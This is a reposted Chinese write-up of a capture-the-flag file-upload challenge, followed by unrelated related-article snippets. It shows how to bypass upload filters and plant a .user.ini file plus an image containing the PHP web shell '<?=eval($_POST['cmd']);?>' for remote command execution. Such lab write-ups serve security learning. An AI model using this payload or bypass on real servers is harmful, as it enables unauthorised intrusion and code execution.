攻防世界-web-ctf-upload

news/2024/9/17 19:02:58/ 标签: 安全

题目场景

查看源码

 毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串
 
检查后缀中是否有htaccess或ph
 
检查文件头部信息
 
文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:
上传.user.ini,内容为

GIF89a                  
auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a
<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

 

再上传a.jpg

 

 

F12查看文件去向

 蚁剑连接

 

找到flag 


http://www.ppmy.cn/news/1507355.html

相关文章

Less 教程:从入门到精通

Less 教程&#xff1a;从入门到精通 1. 引言 Less 是一种流行的动态样式表语言&#xff0c;它扩展了 CSS 的功能&#xff0c;使其更加强大和灵活。通过本教程&#xff0c;我们将深入探讨 Less 的基本概念、特性以及如何在项目中实际应用它。 2. Less 的基本概念 2.1 变量 …

vue3父组件向子组件传参的具体写法

在Vue 3中&#xff0c;父组件向子组件传参&#xff08;也称作传递props&#xff09;是一种非常基本的通信方式。下面我将详细解释如何在Vue 3中实现这一功能。 1. 定义子组件并接收props 首先&#xff0c;你需要在子组件中定义你想要接收的props。这通过在组件的props选项中完…

通过java.netHttpURLConnection类实现java发送http请求

import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; public static String postForBody(String param) { try { URL url new URL(“https://usapp-open.ulifecam.com”)…

axios中的baseURL与跨域问题

axios中的baseURL 01. baseURL与跨域02. axios的baseurl为相对地址03. axios的baseURL是使用绝对路径还是相对路径04. API 请求跨域05. 生产环境代理问题我理解的baseURL 01. baseURL与跨域 三种模式配置&#xff1a; 开发环境 .env.development测试环境 .env.production生产…

游戏在抖音只有一个答案,都选C

经过2023年至2024年间多个案例的曝光&#xff0c;游戏开发商与硬核联盟之间的分歧已不再是秘密。而与此同时&#xff0c;抖音游戏发行的影响力也日益凸显&#xff0c;开始被市场所看重。 抖音能否成为取代硬核联盟的下一个渠道窗口&#xff1f; 从产品角度分析&#xff0c;抖…

Python教程:Python线程池与进程池入门

目录 1. 线程与进程的基本概念 1.1 线程 1.2 进程 1.3线程池与进程池的选择 2. Python 中的线程池与进程池 2.1 线程池 2.2 进程池 3. 实战示例 3.1 使用线程池 3.2 使用进程池 4.max_workers 详解 4.1什么是 max_workers 4.2如何设置 max_workers 4.2.1 根据任务…

自动化专业英语

前言 电子信息、电气工程、自动化专业英语词汇汇总&#xff0c;不定期更新 常用 Asynchronous&#xff1a;异步synchronous&#xff1a;同步notification&#xff1a;通知blade&#xff1a;平面shaft&#xff1a;轴magnetic&#xff1a;磁场的bearing&#xff1a;轴承valve&…

2024前端面试(内容持续更新)

Vue篇 data为什么是个函数&#xff1f; 在‌Vue中&#xff0c;‌data必须是一个‌函数&#xff0c;这是因为当data是函数时&#xff0c;每个组件实例化时都会调用该函数&#xff0c;返回一个新的数据对象&#xff0c;从而保证每个组件实例拥有独立的数据&#xff0c;避免数据冲…

Java 集成测试详解及示例

通过综合指南探索 Java 集成测试的世界。了解工具、流程和最佳实践&#xff0c;并辅以实际示例。 随着软件系统变得越来越大、越来越复杂&#xff0c;组件和服务以错综复杂的方式交互&#xff0c;集成测试已变得不可或缺。通过验证所有组件和模块在组合时是否正常工作&#xff…

江苏省2024年中职职教高考_计算机应用专业综合理论试卷真题讲解

视频教程链接: 江苏省2024年中职职教高考_计算机应用专业综合理论试卷真题讲解

Android SurfaceFlinger——信号同步原理(五十一)

经过前面系列文章的学习,我们的已经理解了 SurfaceFlinger 运行机制以及同步机制,但是SurfaceFlinger 又是以什么方法是把需要刷新的信号发送给 App 进程的。 一、VSync简介 垂直同步(Vertical Synchronization,简称 VSync)是一种用于同步视频信号和显示设备刷新率的技术…

【多线程】初识进程和线程

&#x1f490;个人主页&#xff1a;初晴~ &#x1f4da;相关专栏&#xff1a;多线程 / javaEE初阶 前言 在我们之前编写的所有代码&#xff0c;都只能用上一个核心。众所周知&#xff0c;现在大多数CPU都有多个核心&#xff0c;但此时&#xff0c;无论如法优化程序&#xff0c…

【机器人学】6-5.六自由度机器人运动学参数辨识-逆运动学迭代解【附MATLAB代码】

前言 上一章我们计算了机器人的绝对定位精度和重复定位精度。 【机器人学】6-4.六自由度机器人运动学参数辨识-机器人精度验证【附MATLAB代码】 我们在空间中走5个点&#xff0c;循环30次&#xff0c;激光测量仪一共采集150个数据&#xff0c;其中激光测量仪数据的计算公式如下…

开发效率翻倍攻略!大学生电脑小白管理秘籍,资料秒搜技巧大公开!C盘满了怎么办?如何快速安全的清理C盘?烦人的电脑问题?一键解决!

如何正确管理自己的第一台电脑&#xff1f;大一新生如何管理自己的电脑&#xff1f;老鸟如何追求快捷操作电脑&#xff1f; 文章目录 如何正确管理自己的第一台电脑&#xff1f;大一新生如何管理自己的电脑&#xff1f;老鸟如何追求快捷操作电脑&#xff1f;前言初级基础分区操…

leetcode 图论专题——(dfs+bfs+并查集 回顾)

DFS、BFS 回顾&#xff08;C语言代码&#xff09; map[i][j]里记录的是i点和j点的连接关系 基本DFS&#xff1a; int vis[101],n,map[101][101]; void dfs(int t) {int i;vis[t]1;for(i0;i<n;i)//找对t点所有有关联的点——“找路”{if(vis[i]!0&&map[t][i]1)//有…

VSCode学习记录

一、下载相关包 npm install npm install vue-router //路由 npm install axios npm install element-plus --save //组件 二、构建一个简单的项目 1.创建router文件夹&#xff0c;在里面创建一个index.js文件用来管理不同页面的路由 import {createRouter,createWebHashHist…

关于PHP测试环境及 git权限设置

对应PHP 项目开发 我们对项目及组员权限有如下要求 1:每个开发组员应该使用自己账号提交git 包括增删改查 2:对应部分组员(实习) 应该只有读取权限,不能修改 删除 新增 3:每个组员应该能上传代码到测试项目文件夹里,包括增删改查,实现组员同上 可行操作 1:确定项目文件所有者 …

e6.利用 docker 快速部署自动化运维平台

利用 docker 快速部署自动化运维平台 1. 安装docker2. 拉取镜像3. 启动容器4. 初始化5. 访问测试 Spug 面向中小型企业设计的轻量级无 Agent 的自动化运维平台&#xff0c;整合了主机管理、主机批量执行、主 机在线终端、文件在线上传下载、应用发布部署、在线任务计划、配置中…

Spring @Transactional事务传播行为详解

目录 一、无事务情况 二、有事务情况 REQUIRED SUPPORTS MANDATORY REQUIRES_NEW NOT_SUPPORTED NEVER NESTED Spring的事务传播机制用于控制在多个事务方法相互调用时事务的行为。 在复杂的业务场景中&#xff0c;多个事务方法之间的调用可能会导致事务的一致性&…

docker 无法启动报错:overlayfs does not support、overlayfs not found

1 报错问题 docker 无法启动&#xff0c;系统日志报错的关键片段如下&#xff1a; ... "devmapper not configured"... ..."failed to load plugin io.containerd.snapshotter.v1.overlayfs" error"/home/docker/containerd/daemon/io.containerd.s…